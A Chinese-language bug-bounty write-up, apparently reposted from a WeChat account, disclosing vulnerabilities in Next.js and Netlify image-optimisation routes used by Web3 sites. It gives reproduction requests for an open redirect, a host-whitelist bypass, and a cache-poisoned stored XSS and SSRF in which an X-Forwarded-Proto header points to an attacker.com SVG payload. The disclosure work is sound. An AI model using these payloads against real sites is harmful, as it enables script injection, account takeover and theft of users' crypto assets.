前言
随着 Phantom、Metamask 和 Coinbase Wallet 等 Web3 浏览器扩展程序的推出,越来越多的看似“静态”的网站允许用户直接从浏览器与以太坊和 Solana 等区块链网络进行交互。这些静态加密货币网站大多数是用 Next.js 编写的,并在 Netlify、Vercel 和 Github 页面上运行。
我们怀疑几乎所有这些网站都使用 Next.js 的原因之一是 Next.js 生态系统对 Web3 功能的支持程度。有许多库可以轻松与浏览器扩展钱包配合使用,因此开发人员选择使用它们进行构建。
由于这些网站通常不存储敏感信息,不具备状态更改功能,也不具备许多交互式网站的传统元素(登录、注册、个人资料等),因此很容易假设它们缺乏任何值得关注的服务器端功能。然而,在对这些框架进行了几个月的研究之后,我们意识到事实并非如此,因为 Next.js 上运行着许多服务器端组件。
从安全角度来看,静态 Web3 网站有何不同?
从安全角度来看,在 Next.js 上运行的轻量级 JavaScript 网站时,目标的传统 CVSS 模型发生了以下变化:
完整性(Web3 网站最重要的安全元素):
成为最敏感的 CVSS 元素。用户必须相信他们访问的网站不会返回错误的信息。
如果攻击者能够修改 HTTP 响应以包含恶意合约或在将客户端数据发送到合约时对其进行篡改,他们就可以诱骗用户签署交易,从而允许攻击者访问他们的任何代币和 NFT。
目前,加密货币生态系统尚无便捷的方法来验证正在交互的合约地址是否属于网站所有者。普通用户在自己信任的网站上执行操作时,不会验证正在交互的合约是否正确。
可用性:
由于这些网站的去中心化特性,用户可以通过第三方网站直接与合约交互,甚至自己运行链的副本。 如果攻击者能够攻陷一个热门的加密网站,用户只需前往社交媒体寻找替代主机,或使用像 Etherscan 这样的工具即可直接与合约交互。这会带来额外的风险,因为许多用户的技术水平不够,无法理解合约调用的具体细节(例如,发送正确的小数点位数)。 拒绝服务攻击的一种攻击场景是:(1)入侵一个用于合约交互的热门网站,例如 Etherscan;(2)关闭通常承载该功能的热门网站或 DNS 服务。之后,攻击者可以迫使大量用户与其恶意合约交互,并窃取用户资金。
机密性(Web3 网站最不重要的安全元素):
变得有些无关紧要,当所有数据已经公开(在链上)时,您将从应用程序获取哪些敏感信息? 由于用户重视匿名性,能够将钱包地址和用户元数据配对将成为影响 Web3 网站的最有影响力的发现之一。
方法论
当我们以漏洞猎人的身份接触这些网站时,由于我们了解它们拥有不同的安全模型,因此我们特别关注了破坏网站完整性的方法。我们密切关注资源导入网站的方式(想象一下,如果攻击者将 OpenSea CDN 上的 Tether 徽标更新为以太坊徽标,然后用 100 个假 ETH 以 100 美元的价格竞标 NFT),并寻找修改页面响应和页面 DOM 的方法(跨站脚本、任意文件上传、子域名接管、DNS 问题、IPFS 问题等)。
每当有大量高度敏感的目标被归入一个篮子时,从安全角度来看,很难忽视这个篮子。这促使我们在大约 3 个月的时间里断断续续地对 Next.js 生态系统进行了审计。
攻击面发现与复现
使用 Next.js 提供的好处之一是其图像优化功能,可以更快地提供图像、缓存图像并提高您的 Google SEO 排名。
它的工作方式是,网站上有一个公开的路由,它会代理并尝试优化所有图片。像 Netlify 这样的提供商会承担繁重的工作,并在服务器端修改图片,以便用户体验更快的图片加载速度。
用户与该服务的交互示例如下所示:
1、Next.js 返回修改后的 DOM,其中所有<img src="..."/>
元素都通过“/_next/image”路由重定向
2、加载页面的用户通过以下 HTTP 请求加载图像:
GET /_next/image?url=/example.png&w=128&h=128&q=100
3、托管服务提供商在服务器端加载资源,然后为用户生成并返回修改后的优化版本
-
在调查此功能后,我们观察到两件事: 当系统加载资源时,它会遵循任何 HTTP 重定向,甚至是外部站点(例如 /_next/image?url=/redirect?url=//attacker.com)
-
如果资源返回错误,网站将忽略任何内容类型检查并返回完整的页面内容(包括文本/html)。 该功能允许开发人员将主机列入白名单,服务器将根据预期功能发出外部 HTTP 请求 我们发现的第一个问题是由于网站尝试加载本地资源的方式而导致的开放重定向:
(1)通过不正确的路径解析在“_next/image”上打开重定向
当“_next/image”处理程序尝试加载本地资源时,它会向自身发送一个模拟 HTTP 请求。由于资源的 URI 参数是由用户通过 HTTP GET 参数发送的,因此攻击者可以提供 URI 的反斜杠 URL,而这在正常的 HTTP 请求中通常无法以未编码的形式实现。当此问题与 Next.js Web 服务器的默认行为(即用户尝试访问不存在的文件夹时会被重定向)相结合时,攻击者可以将 HTTP 响应重定向到任意网站。
复现步骤
1、发送以下 HTTP 请求:
GET /_next/image?url=//example.com/&q=100&w=128&h=128Host: victim.com
2、观察将您重定向到“example.com”的 HTTP 响应:
HTTP/2 308 Permanent RedirectContent-Type: text/htmlLocation: ///example.com
影响
直接而言,这允许攻击者在任何运行默认“next/image”库的 Next.js 网站上进行开放重定向。许多具有此功能的网站都是已列入白名单的 OAuth 回调域。攻击者可以通过在已列入 OAuth 白名单的网站上滥用开放重定向来实现帐户接管。
我们发现的上述开放式重定向很有趣,因为它实际上会将重定向返回给用户,而不是直接在服务器端执行。这是因为它实际上会导致后端出现错误,后端不允许用户向末尾带有多余斜杠的不存在的路由发送请求,因此它突破了功能限制,最终重定向了用户。
我们继续研究图像优化端点,发现了“_ipx”路由。这个路由很有意思,因为它的功能与“_next/image”路由非常相似,但不同的人运行着多个不同的版本(例如,Nuxt.js,一个完全独立的库,有一个名为“unjs/ipx”的扩展,它不加载外部资源,而 Netlify 运行的是“@netlify/ipx”NPM 模块,它加载外部资源)。
由于我们关注的是开放重定向、SSRF 和跨站脚本等问题,因此我们研究了 Netlify IPX 版本。Netlify 的 IPX 路由工作原理如下:
优化本地资源的HTTP请求:
GET /_ipx/w_200/%2flocal.pngHost: example.com(loaded example.com/local.png)
优化外部资源的HTTP请求:
GET /_ipx/w_200/https:%2f%2fexplicitly-allowed-website.com%2fimage.pngHost: example.com(loaded explicitly-allowed-website.com/image.png IF the site was whitelisted)
在试用此功能一段时间后,我们发现它使用了一个我们从未见过的独特 URL 解析库。我们找到了源代码,并意识到可以通过多种不同的混淆攻击来破解 URL 解析:
(2)由于依赖存在漏洞的“unjs/ufo”库,导致“@netlify/ipx”主机解析不当,从而引发跨站脚本攻击和服务器端请求伪造
如果开发人员由于“unjs/ufo”库中的 URL 解析不当而将白名单主机添加到配置文件中,则有可能在运行“@netlify/ipx”库的任何网站上实现跨站点脚本和服务器端请求伪造。
复现步骤
1、将“example.com”作为白名单主机添加到配置文件中,并将“attacker.com”替换为您控制的主机后,向运行“@netlify/ipx”库的任何网站发送以下 HTTP 请求:
GET /_ipx/w_200/https:%2f%2fexample.com%[email protected]%2fattack.svgHost: example.com
2、观察发送到您控制的域(attacker.com)的 HTTP 请求,如果您在特定路由上托管内容类型为“image/svg+xml”的 SVG 文件,则可以通过 SVG 文件执行任意 JavaScript。影响
攻击者可以通过恶意 SVG 文件执行任意 JavaScript 并编写任意 HTML。攻击者可以绕过主机白名单,从任何网站发送/读取图像文件。由于许多 Netlify 安装版本默认安装“/_ipx/”路由,因此该漏洞可能被大量网站滥用。
发现上述问题后,我们有些沮丧,因为这并非一个完全通用的漏洞。攻击者必须找到已将主机添加到白名单的主机,并且还要知道哪些主机已被添加到白名单。
我们转移了注意力,开始寻找一个通用漏洞,该漏洞可以在任何“@netlify/ipx”安装中默认生效。由于IPX功能是开源的,我们开始审计代码,发现了以下有趣的代码片段:
netlify-ipx/index.ts
const handler: Handler = async (event, _context) => {const host = event.headers.hostconst protocol = event.headers['x-forwarded-proto'] || 'http'
在构建用于获取优化后图片的 HTTP 请求时,服务器将默认发送“http”,除非通过“x-forwarded-proto”标头另行指定协议。上述代码也用于获取本地图片,因此无需将主机列入白名单即可使用。
我们开始对“x-forwarded-proto”标头进行处理,后来才意识到它是半自定义的,并且会解析标头中的整个字符串。以下代码演示了“id”参数(稍后用于发送完整的HTTP请求)直接将我们发送的字符串插入到“x-forwarded-proto”标头中:
netlify-ipx/index.ts
const isLocal = !id.startsWith('http')if (isLocal) { id = `${protocol}://${host}${id.startsWith('/') ? '' : '/'}${id}`}if (event.headers.cookie) { requestHeaders.cookie = event.headers.cookie}
上述代码解析“id”参数后,在下面的代码中使用它来真正触发HTTP请求:
netlify-ipx/index.ts
const { response, cacheKey, responseEtag } = await loadSourceImage({ cacheDir, url: id, requestEtag, modifiers, isLocal, requestHeaders})if (response) {return response}
我们意识到,你可以通过“x-forwarded-proto”标头发送一个完整的 URL,并在其后添加“?”或“#”,这将覆盖服务器尝试访问的整个 URL。这也很有效,因为漏洞组件是为图像优化而构建的,它具有强大的缓存功能,可以根据你通过实际 URI 加载的端点缓存图像。
可以 (1) 添加带有攻击者控制的主机和恶意文件的“x-forwarded-proto”标头,然后 (2) 复制发送 HTTP 请求的 URL,以及 (3) 将完整的 URL 发送给已缓存的受害者,以便在打开后触发 XSS 有效负载。
报告全文如下:
(3)通过不当处理“x-forwarded-proto”标头和滥用缓存机制,“netlify-ipx”上存在完全跨站脚本和服务器端请求伪造“netlify-ipx”库使用“/_ipx/”路由加载本地资源以进行图像优化。在构建服务器在用户请求资源后发送 HTTP 请求的 URL 时,存在一段代码通过“x-forwarded-proto”标头接受输入,并允许攻击者完全覆盖 HTTP 请求发送到的 URL。攻击者可以通过此标头发送一个完全由攻击者控制的 URL,该 URL 与服务器缓存功能配合使用时,会创建一个存储的跨站点脚本攻击载荷,该载荷索引到“/_ipx/”路由下攻击者决定用作缓存端点的任何 URI(例如 /_ipx/example.svg)。
复现步骤
1、将以下 HTTP 请求发送到“/_ipx/”端点下的任何端点,其中“attacker.com”是您控制的 Web 服务器的主机,“malicious.svg”是带有 XSS 有效负载的 SVG 文件:
GET /_ipx/example.svgHost: example.comX-Forwarded-Proto: http://attacker.com/malicious.svg?
2、观察服务器将 HTTP 请求代理到攻击者控制的 URL 并返回恶意 SVG 文件 3、复制发送 HTTP 请求的完整 URL 并打开它,无需发送任何其他标头,观察端点是否已缓存来自攻击者控制的主机的 HTTP 响应,并将返回恶意内容
影响
所有运行“netlify-ipx”的网站上都存在完全的跨站脚本和服务器端请求伪造漏洞。攻击者可以创建一个存储的跨站脚本端点,当受害者加载该端点时,该端点可以执行任意 JavaScript 和 HTML 代码。
原文始发于微信公众号(夜组OSINT):赏金猎人 | 利用 Web3 的隐藏攻击面:Netlify Next.js 库上进行XSS攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论